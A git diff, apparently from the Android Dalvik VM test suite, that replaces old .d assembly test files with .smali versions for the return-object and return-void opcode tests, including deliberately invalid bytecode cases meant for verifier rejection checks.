--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_3.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       return-object v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_3.smali
new file mode 100644
index 0000000..c79a4a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_3.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       return-object v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_4.smali
new file mode 100644
index 0000000..b24a2cd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_4.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/return_object/d/T_return_object_4;
+.super Ljava/lang/Object;
+.source "T_return_object_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()F
+    .registers 3
+
+    const p0, 0x4048f5c3    # 3.14f
+
+    return-object p0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_5.d
deleted file mode 100644
index db9df1b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_5.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-      return-object v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_5.smali
new file mode 100644
index 0000000..dd1220e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_5.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+      return-object v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_6.d
deleted file mode 100644
index 582bd74..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_6.d
+++ /dev/null
@@ -1,64 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_object_6.java
-.class public dot.junit.opcodes.return_object.d.T_return_object_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private static test()Ljava/lang/String;
-.limit regs 5
-
-       const-string v0, "aaa"
-       const-string v1, "bbb"
-       const-string v2, "ccc"
-       const-string v3, "ddd"
-       return-object v3
-.end method
-
-.method public run()Ljava/lang/String;
-.limit regs 10
-       const-string v1, "a"
-       const-string v2, "b"
-       const-string v3, "c"
-       invoke-static {}, dot/junit/opcodes/return_object/d/T_return_object_6/test()Ljava/lang/String;
-       move-result-object v7
-
-       const-string v8, "ddd"
-       if-ne v7, v8, Label43
-
-       const-string v7, "a"
-       if-ne v1, v7, Label43
-
-       const-string v7, "b"
-       if-ne v2, v7, Label43
-
-       const-string v7, "c"
-       if-ne v3, v7, Label43
-
-       const-string v0, "hello"
-       return-object v0
-Label43:
-       const-string v0, "a"
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_6.smali
new file mode 100644
index 0000000..26b5f02
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_6.smali
@@ -0,0 +1,64 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_object_6.java"
+.class  public Ldot/junit/opcodes/return_object/d/T_return_object_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private static test()Ljava/lang/String;
+.registers 5
+
+       const-string v0, "aaa"
+       const-string v1, "bbb"
+       const-string v2, "ccc"
+       const-string v3, "ddd"
+       return-object v3
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 10
+       const-string v1, "a"
+       const-string v2, "b"
+       const-string v3, "c"
+       invoke-static {}, Ldot/junit/opcodes/return_object/d/T_return_object_6;->test()Ljava/lang/String;
+       move-result-object v7
+
+       const-string v8, "ddd"
+       if-ne v7, v8, :Label43
+
+       const-string v7, "a"
+       if-ne v1, v7, :Label43
+
+       const-string v7, "b"
+       if-ne v2, v7, :Label43
+
+       const-string v7, "c"
+       if-ne v3, v7, :Label43
+
+       const-string v0, "hello"
+       return-object v0
+:Label43
+       const-string v0, "a"
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_8.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_8.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_8.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_8.smali
new file mode 100644
index 0000000..3993e4a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/T_return_object_8.smali
@@ -0,0 +1,55 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/return_object/d/T_return_object_8;
+.super Ljava/lang/Object;
+.source "T_return_object_8.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private declared-synchronized test()Ljava/lang/String;
+    .registers 4
+
+    new-instance v2, Ljava/lang/Object;
+
+    invoke-direct {v2}, Ljava/lang/Object;-><init>()V
+
+    monitor-enter v2
+
+    monitor-exit p0
+
+    const-string v0, "abc"
+
+    return-object v0
+.end method
+
+
+# virtual methods
+.method public run()Z
+    .registers 3
+
+    invoke-direct {p0}, Ldot/junit/opcodes/return_object/d/T_return_object_8;->test()Ljava/lang/String;
+
+    const v0, 0x1
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TChild.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TChild.smali
new file mode 100644
index 0000000..3840280
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TChild.smali
@@ -0,0 +1,27 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class Ldot/junit/opcodes/return_object/d/TChild;
+.super Ldot/junit/opcodes/return_object/d/TSuper;
+.source "TestStubs.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ldot/junit/opcodes/return_object/d/TSuper;-><init>()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TInterface.smali
new file mode 100644
index 0000000..28f2dd0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TInterface.smali
@@ -0,0 +1,17 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class interface Ldot/junit/opcodes/return_object/d/TInterface;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TSuper.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TSuper.smali
new file mode 100644
index 0000000..b074b2e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TSuper.smali
@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class Ldot/junit/opcodes/return_object/d/TSuper;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/return_object/d/TInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TSuper2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TSuper2.smali
new file mode 100644
index 0000000..eaca5b0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TSuper2.smali
@@ -0,0 +1,27 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class Ldot/junit/opcodes/return_object/d/TSuper2;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TestStubs.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TestStubs.smali
new file mode 100644
index 0000000..6e78d4d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_object/d/TestStubs.smalis/TestStubs.smali
@@ -0,0 +1,17 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class Ldot/junit/opcodes/return_object/d/TestStubs;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_1.d
deleted file mode 100644
index 739e288..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_1.d
+++ /dev/null
@@ -1,65 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_void_1.java
-.class public dot.junit.opcodes.return_void.d.T_return_void_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-    
-    const v1, 1
-    const v2, 2
-    const v3, 3
-        
-    invoke-static {}, dot/junit/opcodes/return_void/d/T_return_void_1/test()V
-
-    const v4, 1    
-    if-ne v1, v4, Label0
-    
-    const v4, 2    
-    if-ne v2, v4, Label0
-
-    const v4, 3
-    if-ne v3, v4, Label0
-    
-    const v0, 123456
-    return v0
-
-Label0:
-    const v0, 0
-    return v0
-.end method
-
-.method private static test()V
-.limit regs 5
-    
-    const v0, 9999
-    const v1, 0xaaa
-    const v2, 0xbbbb
-    const v3, 0xcccc
-    const v4, 0xdddd
-    
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_1.smali
new file mode 100644
index 0000000..f649715
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_1.smali
@@ -0,0 +1,65 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_void_1.java"
+.class  public Ldot/junit/opcodes/return_void/d/T_return_void_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+    
+    const v1, 1
+    const v2, 2
+    const v3, 3
+        
+    invoke-static {}, Ldot/junit/opcodes/return_void/d/T_return_void_1;->test()V
+
+    const v4, 1    
+    if-ne v1, v4, :Label0
+    
+    const v4, 2    
+    if-ne v2, v4, :Label0
+
+    const v4, 3
+    if-ne v3, v4, :Label0
+    
+    const v0, 123456
+    return v0
+
+:Label0
+    const v0, 0
+    return v0
+.end method
+
+.method private static test()V
+.registers 5
+    
+    const v0, 9999
+    const v1, 0xaaa
+    const v2, 0xbbbb
+    const v3, 0xcccc
+    const v4, 0xdddd
+    
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_3.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_3.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_3.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_3.smali
new file mode 100644
index 0000000..76a9d0e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_3.smali
@@ -0,0 +1,53 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/return_void/d/T_return_void_3;
+.super Ljava/lang/Object;
+.source "T_return_void_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private declared-synchronized test()V
+    .registers 2
+
+    new-instance v0, Ljava/lang/Object;
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+
+    monitor-enter v0
+
+    monitor-exit p0
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Z
+    .registers 1
+
+    invoke-direct {p0}, Ldot/junit/opcodes/return_void/d/T_return_void_3;->test()V
+
+    const p0, 0x1
+
+    return p0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_5.d
deleted file mode 100644
index 172f5d0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_void_5.java
-.class public dot.junit.opcodes.return_void.d.T_return_void_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-    
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_5.smali
new file mode 100644
index 0000000..d01ad45
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_void_5.java"
+.class  public Ldot/junit/opcodes/return_void/d/T_return_void_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+    
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_6.d
deleted file mode 100644
index 001e8b4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_void_6.java
-.class public dot.junit.opcodes.return_void.d.T_return_void_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 6
-    
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_6.smali
new file mode 100644
index 0000000..f26755a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_void_6.java"
+.class  public Ldot/junit/opcodes/return_void/d/T_return_void_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 6
+    
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_7.d
deleted file mode 100644
index 3aee8df..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_return_void_7.java
-.class public dot.junit.opcodes.return_void.d.T_return_void_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 6
-    
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_7.smali
new file mode 100644
index 0000000..0627776
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/return_void/d/T_return_void_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_return_void_7.java"
+.class  public Ldot/junit/opcodes/return_void/d/T_return_void_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
